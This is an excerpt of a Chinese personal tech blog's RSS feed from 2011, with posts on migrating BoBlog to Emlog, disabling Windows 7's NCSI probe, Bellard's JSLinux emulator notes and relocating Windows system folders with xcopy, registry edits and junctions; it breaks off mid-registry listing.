</div>
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/boblog-bugs">BoBlog任意变量覆盖漏洞</a></p><p><a href="http://www.holmesian.org/Ucenter-com">合并两个Ucenter过程</a></p><p><a href="http://www.holmesian.org/Web-File-Permissions">Discuz! X 2.0和Ucenter 1.6权限设置</a></p><p><a href="http://www.holmesian.org/post/525">邂逅一个团队？</a></p><p><a href="http://www.holmesian.org/post/441">一些比较好用的CMS系统</a></p><p><a href="http://www.holmesian.org/PHPsMVC">不用框架玩PHP的MVC</a></p></div>]]></description>
	<pubDate>Fri, 03 Jun 2011 11:07:09 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Discuz-x15-bug</guid>

</item>
<item>
	<title>BoBlog完美转换到最新的EMLOG 4</title>
	<link>http://www.holmesian.org/boblog2emlog</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BoBlog是我使用的第一个Blog程序，从07年至今也算用了不少日子，作为一个有点“程序洁癖”的人在博客系统上总是对WP敬而远之的，之前看重的是BoBlog的相对简洁而不失强大的功能，但是现在BoBlog长期不更新而且Emlog已经基本上完全可以满足我的基本要求遂决定转向EM。</p>
<p></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 由于Emlog官方针对BoBlog的搬家工具还没有非常完善，而且用工具箱的RSS来搬迁原来Boblog数据的话应该会丢失很多的特性。在Emlog论坛找了一圈发现奇遇TX写的一个BoBlog2.1 转Emlog 3的工具，稍微折腾了一下想出一个比较靠谱的转换到EMLOG4的方法，附件里是经过修改的数据搬迁工具在奇遇TX的基础上进行了一些修改并修复了一些错误。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 转换过程很简单，先下载并安装emlog_4.0.1，再将原BoBlog中的attachment和data文件夹以及附件中的转换工具上传到新装emlog根目录，执行转换工具按照提示运行即可。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 最终可以将BoBlog中的所有数据比较完美地导入emlog_4.0.1，包括原来BoBlog中的附件和自定义URL等等。对于emlog不支持UBB的问题其实应该很好解决：将UBB解析之后再导入数据库即可。由于我的777篇日志绝大部分不含UBB代码所以就没有继续折腾了……</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 希望准备从BoBlog转向EMLOG的能够有用……</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/522">免费PDF转换成Word文档</a></p><p><a href="http://www.holmesian.org/boblog-bugs">BoBlog任意变量覆盖漏洞</a></p><p><a href="http://www.holmesian.org/post/86">Real影音文件转换工具</a></p><p><a href="http://www.holmesian.org/boblog-links-chaged">BoBlog换域名或链接后批量修改文章内链接</a></p></div>]]></description>
	<pubDate>Fri, 20 May 2011 12:51:20 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/boblog2emlog</guid>

</item>
<item>
	<title>Windows7一个可能泄漏隐私的选项</title>
	<link>http://www.holmesian.org/win7-STOP-NCSI</link>
	<description><![CDATA[<p>&nbsp;用Windows 7而且又偶尔会关心一下日志的TX可能会发现在网络情况不好的情况下经常可以发现类似下图的系统日志提示&ldquo;在没有配置的 DNS 服务器响应之后,名称域名的名称解析超时&rdquo;的记录。</p><p><img alt="" src="http://www.holmesian.org/attachment/1305855722_7302f3cc.jpg" /></p><p>原来这是由于Windows 7的一个叫做Network Connectivity Status Indicator (NCSI)的服务导致的：每当用户连接到网络时，Windows 7会向微软的一个域名发送访问请求，再通过访问http://www.msftncsi.com/ncsi.txt获得结果作为网络连接状况指示器，你能够看到&ldquo;网络受限&rdquo;的警告就是由这个服务产生的。</p><p>在这个过程中微软的DNS服务器可以记录来自Windows 7客户机的一些基本信息，接受访问的www.msftncsi.com所在的服务器也可以获得不少客户端的信息，数量庞大的情况下也可以作为侧面一种统计的依据。作为一个&ldquo;有系统洁癖&rdquo;的人果断是需要将此服务器关闭的。</p><p>一开始在服务中一直都没有找到这个叫做Network Connectivity Status Indicator (NCSI)服务，结果发现这家伙是直接写在注册表的服务项里的（HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;services&#92;NlaSvc），并没有显式表现出来，这让人不得不怀疑这服务是否本意就含有收集客户端信息来进行统计。需要关闭修改注册表键值HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;services&#92;NlaSvc&#92;Parameters&#92;Internet&#92;下的EnableAcetiveProbing值为0即可，如图。</p><p><img alt="" src="http://www.holmesian.org/attachment/1305855722_7365fb5c.png" /></p><p>懒人可以直接下载下面的reg文件导入</p><p>[sfile][/sfile]</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/asp-error-rewrite">利用错误代码写asp升级程序</a></p><p><a href="http://www.holmesian.org/ESXi-Snap-Error">记一次修复ESXi的快照混乱问题的解决</a></p><p><a href="http://www.holmesian.org/fix-cdrom">光驱驱动问题的解决办法</a></p><p><a href="http://www.holmesian.org/Vista-boot">解决Vista启动的时候卡死在滚动条问题</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/bscmake_error_BK_1506">解决BSCMAKE: error BK1506 (VC6)问题</a></p></div>]]></description>
	<pubDate>Fri, 20 May 2011 01:50:48 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/win7-STOP-NCSI</guid>

</item>
<item>
	<title>太惊讶了，在Web上运行的Linux系统</title>
	<link>http://www.holmesian.org/linux-on-web</link>
	<description><![CDATA[<p>&nbsp;</p>
<p>神器在这里<a href="http://bellard.org/jslinux/">http://bellard.org/jslinux/</a></p>
<p>请使用Firefox 4或者Chrome 11打开上面这个页面，那么你会看到一个Linux的启动过程，请注意：这不是什么模拟Linux启动的假游戏，而是确确实实通过JS编写的模拟器启动了一个确实存在的Linux系统！</p>
<p>该操作系统由Fabrice Bellard大牛完成，这个神奇的东西引起了包括Javascript的创建者Brendan Eich在内N多人的注意。随后，Fabrice Bellard大牛发布了相关的技术说明：http://bellard.org/jslinux/tech.html，从这份文档中可以知道：</p>
<p>这个模似器完全由Javascript写成，CPU仿真器使用的是QEMU，Linux &nbsp;使用了2.6.20内核，磁盘用的是Ram Disk，在启动的时候装载。其文件系统由Buildroot 和BusyBox产生。</p>
<p>Web的时代……</p>
<p>&nbsp;</p>
<p></p>
<p></p>
<h2 style="font-family:Simsun;font-size:medium;">Javascript PC Emulator - Technical Notes</h2>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">By</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://bellard.org/">Fabrice Bellard</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">- May 14, 2011</span><p style="font-family:Simsun;font-size:medium;">This PC emulator is written in Javascript. The emulated hardware consists in the following devices:</p>
<ul style="font-family:Simsun;font-size:medium;">&nbsp;&nbsp;&nbsp;&nbsp;<li>32 bit x86 compatible CPU</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>8259 Programmble Interrupt Controller</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>8254 Programmble Interrupt Timer</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>16450 UART</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>Real Time Clock.</li>
</ul>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">The code is written in pure Javascript using the</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://www.khronos.org/registry/typedarray/specs/latest/">W3C Typed Arrays</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">which are available in some recent browsers. Only this feature is tested to determine if a given browser can launch the PC emulator. It was tested with</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://www.mozilla.com/fr/firefox/">Firefox 4</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">and</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://www.google.com/chrome/">Google Chrome 11</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">on Linux, Window and Mac (it does not work with Chrome 12 beta. As far as I know, it is a bug in the browser). In any case, a fast Javascript engine is needed to have good performance.</span><p style="font-family:Simsun;font-size:medium;">&nbsp;</p>
<h3 style="font-family:Simsun;font-size:medium;">CPU Emulation</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">Some of the code is inspired from my x86 dynamic translator present in</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://qemu.org/">QEMU</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">, but there are important differences because here it is an interpreter. The CPU is close to a 486 compatible x86 without FPU. The lack of FPU is not a problem when running Linux as Operating System because it contains a FPU emulator. In order to be able to run Linux, a complete MMU is implemented. The exact restrictions of the emulated CPU are:</span><ol style="font-family:Simsun;font-size:medium;">&nbsp;&nbsp;&nbsp;&nbsp;<li>No FPU/MMX/SSE</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>No segment limit and right checks when accessing memory (Linux does not rely on them for memory protection, so it is not an issue. The x86 emulator of QEMU has the same restriction).</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>No CS/DS/ES/SS segment overrides. FS/GS overrides are implemented because they are needed for Thread Local Storage in Linux.</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>A few seldom used instructions are missing (BCD operations, BOUND, ...).</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>No single-stepping</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>No real mode</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>No 16 bit protected mode (although most 16 bit instructions are present because they are needed to run 32 bit programs).</li>
</ol>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">Most of these restrictions are easy to remove, but I decided to implement the strict minimum to be able to use a recent Linux kernel and its user applications.</span><p style="font-family:Simsun;font-size:medium;">I added some tricks which are not present in QEMU to be more precise when emulating unaligned load/stores at page boundaries. The condition code emulation is also more efficient than the one in QEMU.</p>
<h3 style="font-family:Simsun;font-size:medium;">Devices</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">Currently there is no synchronization between the PIT frequency and the real time, so there is a variable drift between the time returned by Linux (try the "date" command) and the real time.</span><p style="font-family:Simsun;font-size:medium;">The UART (serial port) does not support FIFO mode. Perhaps it could help to improve the display speed.</p>
<p style="font-family:Simsun;font-size:medium;">There is no network emulation at this point.</p>
<p style="font-family:Simsun;font-size:medium;">A clipboard device (seen as&nbsp;<tt>/dev/clipboard</tt>&nbsp;in the emulator) was added to allow exchange of data between the emulator and the outside world.</p>
<h3 style="font-family:Simsun;font-size:medium;">Javascript terminal</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">Although I could have reused the excellent</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://www.masswerk.at/termlib/">termlib</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">, I decided to write my own because I was curious to see how it could be done. The main problem is the key handling which is different among browsers and OSes, as described</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://unixpapa.com/js/key.html">here</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">.</span><h3 style="font-family:Simsun;font-size:medium;">Linux distribution</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">I compiled a 2.6.20 Linux kernel (I guess any other version would work provided there is still an FPU emulator). The configuration is</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://bellard.org/jslinux/config_linux-2.6.20">here</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">and there is a small optional</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">&nbsp;</span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;"><a href="http://bellard.org/jslinux/patch_linux-2.6.20">patch</a></span><span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">to avoid outputting warnings due to the slow serial port. An uncompressed kernel image is used instead of a compressed one to have a faster boot. It is generated with "objcopy -O binary vmlinux vmlinux.bin".</span><p style="font-family:Simsun;font-size:medium;">The disk image is just a ram disk image loaded at boot time. It contains a filesystem generated with&nbsp;<a href="http://buildroot.uclibc.org/">Buildroot</a>&nbsp;containing&nbsp;<a href="http://www.busybox.net/">BusyBox</a>. I added my toy C compiler&nbsp;<a href="http://bellard.org/tcc">TinyCC</a>&nbsp;and my unfinished but usable emacs clone&nbsp;<a href="http://bellard.org/qemacs">QEmacs</a>.</p>
<p style="font-family:Simsun;font-size:medium;">&nbsp;</p>
<h3 style="font-family:Simsun;font-size:medium;">Javascript</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">I happen to be interested by the implementation of Javascript engines these days - but I don't know yet if I will write my own any time soon ! Anyway, this emulator was a way to learn how to write optimized code for recent Javascript engines, in particular Jaeger Monkey (for Firefox 4) and V8 (for Chrome).</span><p style="font-family:Simsun;font-size:medium;">A troubling thing is that the PC emulator is about 2 times slower using V8 than Jaeger Monkey (I used the 32 bit version for both). I have no precise explanation yet because I only looked at the Jeager Monkey code so far.</p>
<h3 style="font-family:Simsun;font-size:medium;">What's the use ?</h3>
<span class="Apple-style-span" style="font-family:Simsun;font-size:medium;">I did it for fun, just because newer Javascript Engines are fast enough to do complicated things. Real use could be:</span><ul style="font-family:Simsun;font-size:medium;">&nbsp;&nbsp;&nbsp;&nbsp;<li>Benchmarking of Javascript engines (how much time takes your Javascript engine to boot Linux ?). For this particular application, efficient handling of 32 bit signed and unsigned integers and of typed arrays is important.</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>Learning to use command line Unix tools without leaving the browser.</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>Client side processing using an x86 library, for example for cryptographic purposes. For such application, the x86 emulator can be modified to provide an API to load x86 dynamic libraries and to provide a&nbsp;<a href="https://developer.mozilla.org/en/js-ctypes/Using_js-ctypes">js-ctypes</a>&nbsp;like API to call the C/C++ functions from javascript.</li>
&nbsp;&nbsp;&nbsp;&nbsp;<li>A more advanced version would allow to use old DOS PC software such as games.</li>
</ul>
<p style="font-family:Simsun;font-size:medium;"><a href="http://bellard.org/jslinux/index.html">[Back to the PC emulator]</a></p>
<p></p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/Linux_utf_gbk">解决Linux下音乐播放器列表乱码问题</a></p><p><a href="http://www.holmesian.org/Linux_PPS">非Windows下的P2P视频点播-强烈推荐</a></p><p><a href="http://www.holmesian.org/Linux_0Day">Linux通杀0Day（2010年10月19日）</a></p><p><a href="http://www.holmesian.org/NMAP">Unix下的NMAP使用</a></p><p><a href="http://www.holmesian.org/FreeBSD-Linux-mv">Unix和Linux下的改名命令-mv</a></p></div>]]></description>
	<pubDate>Thu, 19 May 2011 01:37:31 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/linux-on-web</guid>

</item>
<item>
	<title>让你的Windows系统盘保持苗条</title>
	<link>http://www.holmesian.org/Windows-cut-down</link>
	<description><![CDATA[<p>很多TX经常抱怨C盘空间过小带来的一系列的问题，其实对于Windows7来说，系统盘(一般为C盘)只需10G就足够，当然是执行完接下来说的操作之后的情况下，并且系统盘会一直保持有3G左右的空闲空间。让Windows系统盘保持苗条，最可靠的办法是稳定地移动系统盘中Program Files、Users(Win7)、ProgramData(Win7)等User create内容目录到非系统盘，使得Windows系统盘不再随着安装软件以及使用时间而日益臃肿。</p><p>NTFS分区中有一项非常值得推荐而基本上已经被人遗忘的的特性是junction&mdash;&mdash;类似于Linux/Unix下通过ln命令创建的软链接/硬链接。</p><p>具体操作可参考<a href="http://tossp.com/windows-users-program-files-programdata-directory-big-diversion.html">这里</a>，以下是精简版步骤（假设将Win7系统盘C中的Program Files、Users、ProgramData移动到D盘）：</p><p></p><p>&nbsp;</p><p>1、复制 Program Files 目录（不能直接用资源管理器复制，我们需要用xcopy命令来保留此目录的所有权限设置：）</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>xcopy&nbsp;</span><span class="string">&quot;C:&#92;Program&nbsp;Files&quot;</span><span>&nbsp;</span><span class="string">&quot;D:&#92;Program&nbsp;Files&#92;&quot;</span><span>&nbsp;/E&nbsp;/H&nbsp;/K&nbsp;/X&nbsp;/Y&nbsp;/C&nbsp;</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>xcopy &quot;C:&#92;Program Files&quot; &quot;D:&#92;Program Files&#92;&quot; /E /H /K /X /Y /C （从 C 盘移动到 D 盘，具体意义参照xcopy /?）</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>（从&nbsp;C&nbsp;盘移动到&nbsp;D&nbsp;盘，具体意义参照xcopy&nbsp;/?）</p><p>2、修改注册表</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>Windows&nbsp;Registry&nbsp;Editor&nbsp;Version&nbsp;</span><span class="number">5.00</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion]</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;ProgramFilesDir&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Program&nbsp;Files&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;CommonFilesDir&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Program&nbsp;Files&#92;&#92;Common&nbsp;Files&quot;</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion]&quot;ProgramFilesDir&quot;=&quot;D:&#92;&#92;Program Files&quot;&quot;CommonFilesDir&quot;=&quot;D:&#92;&#92;Program Files&#92;&#92;Common Files&quot;</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>3、重启后关闭 iphlpsvc 服务（因为它使用了 &quot;C:&#92;Program Files&#92;Internet Explorer&#92;sqmapi.dll&quot;）</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>net&nbsp;stop&nbsp;iphlpsvc</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>net stop iphlpsvc</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>删除&quot;C:&#92;Program Files&quot; 目录或者将其暂时改名，例如改成&quot;C:&#92;Program Filesold&quot; (要先取得所有权，添加改写权限后才可以删除或者改名，建议直接用XT实现目的)</p><p>4、创建 Junction 文件夹映射</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>mklink&nbsp;/J&nbsp;</span><span class="string">&quot;C:&#92;Program&nbsp;Files&quot;</span><span>&nbsp;</span><span class="string">&quot;D:&#92;Program&nbsp;Files&quot;</span></span></li></ol></div></div><p>同样可以用mklink /?看具体意义</p><p>5、复制 ProgramData 目录</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>xcopy&nbsp;C:&#92;ProgramData&nbsp;D:&#92;ProgramData&#92;&nbsp;/E&nbsp;/H&nbsp;/K&nbsp;/X&nbsp;/Y&nbsp;/B&nbsp;/C&nbsp;</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>xcopy C:&#92;ProgramData D:&#92;ProgramData&#92; /E /H /K /X /Y /B /C </pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>6、修改注册表</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>Windows&nbsp;Registry&nbsp;Editor&nbsp;Version&nbsp;</span><span class="number">5.00</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li>&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell&nbsp;Folders]</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;Common&nbsp;Desktop&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Desktop&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;Common&nbsp;Start&nbsp;Menu&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start&nbsp;Menu&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;CommonVideo&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Videos&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;CommonPictures&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Pictures&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;Common&nbsp;Programs&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start&nbsp;Menu&#92;&#92;Programs&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;CommonMusic&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Music&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;Common&nbsp;Administrative&nbsp;Tools&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start&nbsp;Menu&#92;&#92;Programs&#92;&#92;Administrative&nbsp;Tools&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;Common&nbsp;Startup&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start&nbsp;Menu&#92;&#92;Programs&#92;&#92;Startup&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;Common&nbsp;Documents&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Documents&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;OEM&nbsp;Links&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;OEM&nbsp;Links&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="string">&quot;Common&nbsp;Templates&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Templates&quot;</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">&quot;Common&nbsp;AppData&quot;</span><span>=</span><span class="string">&quot;D:&#92;&#92;ProgramData&quot;</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Explorer&#92;Shell Folders]&quot;Common Desktop&quot;=&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Desktop&quot;&quot;Common Start Menu&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start Menu&quot;&quot;CommonVideo&quot;=&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Videos&quot;&quot;CommonPictures&quot;=&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Pictures&quot;&quot;Common Programs&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start Menu&#92;&#92;Programs&quot;&quot;CommonMusic&quot;=&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Music&quot;&quot;Common Administrative Tools&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start Menu&#92;&#92;Programs&#92;&#92;Administrative Tools&quot;&quot;Common Startup&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Start Menu&#92;&#92;Programs&#92;&#92;Startup&quot;&quot;Common Documents&quot;=&quot;D:&#92;&#92;Users&#92;&#92;Public&#92;&#92;Documents&quot;&quot;OEM Links&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;OEM Links&quot;&quot;Common Templates&quot;=&quot;D:&#92;&#92;ProgramData&#92;&#92;Microsoft&#92;&#92;Windows&#92;&#92;Templates&quot;&quot;Common AppData&quot;=&quot;D:&#92;&#92;ProgramData&quot;</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>重启后删除 C:&#92;ProgramData 目录或者将其暂时改名。(要先取得所有权，添加改写权限后才可以删除或者改名，建议直接用XT实现目的)</p><p>7、创建 Junction 文件夹映射</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>mklink&nbsp;/J&nbsp;C:&#92;ProgramData&nbsp;D:&#92;ProgramData</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>mklink /J C:&#92;ProgramData D:&#92;ProgramData</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>8、修改注册表</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&nbsp;NT&#92;CurrentVersion&#92;ProfileList]&nbsp;下的&nbsp;Default、ProfilesDirectory、Public&nbsp;三个值的数据改一下，把盘符都改为&nbsp;D:。</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>[HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&nbsp;NT&#92;CurrentVersion&#92;ProfileList&#92;S-<span class="number">1</span><span>-</span><span class="number">5</span><span>-</span><span class="number">21</span><span>-</span><span class="number">3843801140</span><span>-</span><span class="number">3458922274</span><span>-</span><span class="number">3296897442</span><span>-</span><span 